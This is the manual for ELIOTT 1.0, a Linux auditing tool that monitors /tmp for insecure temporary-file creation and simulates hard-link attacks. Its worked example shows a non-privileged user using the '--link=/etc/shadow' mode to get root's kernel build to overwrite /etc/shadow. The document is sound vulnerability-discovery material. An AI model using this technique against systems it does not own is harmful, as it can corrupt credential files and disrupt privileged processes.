ELIOTT 1.0

Frank DENIS <j@42-networks.com>

3rd February 2001

Abstract

ELIOTT is a tool to help system administrators and programmers discover *insecure temporary files* creation, even in closed-source applications.
ELIOTT watches a directory for files creation/deletion/writes using the *dnotify* facility of Linux kernel 2.4.x . Every change is logged, even temporary files with a very short life time, that usually can't be manually noticed.
In addition to logging, ELIOTT can simulate *hard-link exploits* in order to find and report vulnerable applications.

1 Requirements.

The following prerequisite is needed :

- LINUX kernel 2.4.xx,
- GLIB (ftp://ftp.gtk.org) 1.2.8 or better.
- GCC / GNU MAKE

2 License and availability.

ELIOTT is covered by the *GNU General Public License v2* and is freely downloadable from the following location :
http://www.jedi.claranet.fr/eliott

Source tarballs, RPM files, Debian packages and Slackware archives are available.

3 Usage.

ELIOTT only watches a directory at a time, typically */tmp*. That directory can be change with the *–directory=* flag.

If ELIOTT is launched with supervisor privileges, it performs a *chroot()* call in that directory and can take further actions when the *fake hard-links* mode of operation is enabled. See below.

3.1 Simple I/O activity monitoring.

The easiest way to invoke ELIOTT is to run it with only *–directory=* or without any option (it will defaults to */tmp*) . I/O activity is logged to *stdout* and no additional action is taken.

Here is a sample record for a file creation :

[17:53:19] - New file : [tempfile] (500,100) (s 644)

The first field is nothing but the time. *tempfile* is the name of the new file. *(500, 100)* is its owner's *uid/gid*. *644* is the access mode (a la *chmod*) and *s* means we have a socket (*(s)*ocket, *(l)*ink, regular *(f)*ile, *(b)*lock device, *(d)*irectory, *(c)*haracter device, *(p)*ipe) .

Later, if the temporary file got deleted, here is how it's reported :

[17:55:03] - Deleted file : [tempfile]

3.2 Semi-automatic vulnerability discovery.

If ELIOTT is launched with the *–link* option, the following actions are taken :

- When file *XYZ* is created in the watched directory, that event is logged to *stdout* as usual.
- Then, when *XYZ* is deleted, ELIOTT creates a fake temporary file (let's call it *ABC*) and adds a hard link to it, called *XYZ*.
- When a change occurs in the directory, ELIOTT *stat*()s every fake temporary file. If its size isn't null, some application probably wrote into *XYZ*. ELIOTT reports the potential attack as follows :

  [18:14:12] - ** ALERT, insecure opening ** : [tempfile] -> [eliott-exploit-ZvQn1F]

tempfile is the file an application insecurely wrote to (*XYZ*), whereas *eliott-exploit-ZvQn1F* is the name of the fake file (*ABC*) .

Fake temporary files always have the same permissions than previous real temporary files with the same name. When ELIOTT runs with supervisor privileges, fake temporary files are also *chown()*ed to the previous user.

- If a potential vulnerability is found when ELIOTT runs as a non-privileged user, it means that a buggy application can probably follow any link, and overwrite any file if that application is running as *root*.
- If a potential vulnerability is reported when ELIOTT runs with *euid=0*, it means that a buggy application follows at least links owned by one user. Configuration files, other temporary files and data files processed by that application may be vulnerable.

3.3 Exploit evidence.

The *–link* option can also be followed by a file name, like : *–link=/etc/passwd* . In that case, fake temporary files won't be created, but ELIOTT will add hard links to the target files, named with names of previous real temporary files.

So when an insecure opening is logged it means that your target file has been modified. You got an exploit. Find the buggy application, fix it and send a patch to its author.

4 Example.

The following tests were made on a *Suse 7.0* system, with this software :

- LINUX kernel 2.4.1ac1,
- GCC 2.95.2-117

/tmp was a *swapfs* filesystem. I copied */etc/shadow* to */tmp/shadow* for the last point, but unless the vulnerability comes from *swapfs* the exploit should work as described if */tmp* and */etc* are on the same filesystem. If an exploit works with hard links, you can always try with symbolic links anyway.

See if temporary files are created. When compiling the kernel from the source code, the *-pipe* option is passed to GCC almost everywhere. However, let's see if temporary files are created.

(tty1 - non-privileged user) $ eliott

(tty2 - root) # cd /usr/src/linux ; make clean ; make

(tty1 - Eliott log)
[18:46:09] - New file : [cctaRluU.i] (0,0) (f 600)
[18:46:09] - Deleted file : [cctaRluU.i]
[18:46:09] - New file : [cctCILnX.i] (0,0) (f 600)
[18:46:09] - Deleted file : [cctCILnX.i]
[18:46:14] - New file : [ccQpbKhf.i] (0,0) (f 600)
[18:46:14] - Deleted file : [ccQpbKhf.i]
[18:46:14] - New file : [ccmIXC0h.i] (0,0) (f 600)

[18:46:15] - Deleted file : [ccmIXC0h.i]
[18:46:51] - New file : [ccupROP3.i] (0,0) (f 600)
[18:46:52] - New file : [ccdcu9o5.s] (0,0) (f 600)
[18:46:52] - New file : [ccA72Kah.o] (0,0) (f 600)
[18:46:52] - Deleted file : [ccA72Kah.o]
[18:46:52] - New file : [ccA72Kah.o] (0,0) (f 644)

Okay, temporary files are created. The last three lines are interesting : the same name was used for two consecutive files.

See if the temporary files are insecurely created. Now, let's try to be more aggressive to see if what we just discovered may be dangerous.

(tty1 - non-privileged user) $ eliott –link

(tty2 - root) # cd /usr/src/linux ; make clean ; make

(tty1 - Eliott log)
...
[18:54:20] - New file : [ccR9sgqc.o] (0,0) (f 600)
[18:54:20] - Deleted file : [ccR9sgqc.o]
[18:54:20] - Added fake link : [eliott-exploit-P4Pts8] -> [ccR9sgqc.o]
[18:54:20] - ** ALERT, insecure opening ** : [ccR9sgqc.o] -> [eliott-exploit-P4Pts8]
...

(tty2 - root)
gcc -Wall -Wstrict-prototypes -O2 -fomit-frame-pointer -o conmakehash conmakehash.c
/usr/i486-suse-linux/bin/ld: cannot open /tmp/ccR9sgqc.o: Aucun fichier ou répertoire de ce type
collect2: ld returned 1 exit status
make[3]: *** [conmakehash] Error 1

Uh-oh... Interesting. A non-privileged user was able to stop a compilation launched by *root*, and a possible serious security vulnerability is reported.

Exploit the vulnerability. Let's see if we really found a hole with a real exploit.

(tty1 - non-privileged user) $ md5sum /etc/shadow
a7c35f3099a5abbc4a64acad1820f6ce /etc/shadow
$ eliott –link=/etc/shadow

(tty2 - root) cd /usr/src/linux ; make clean ; make

(tty1 - non-privileged user) $ md5sum /etc/shadow
4ee64a9246d533eb6f0fdcad375b01da /etc/shadow

Right, we found an exploit.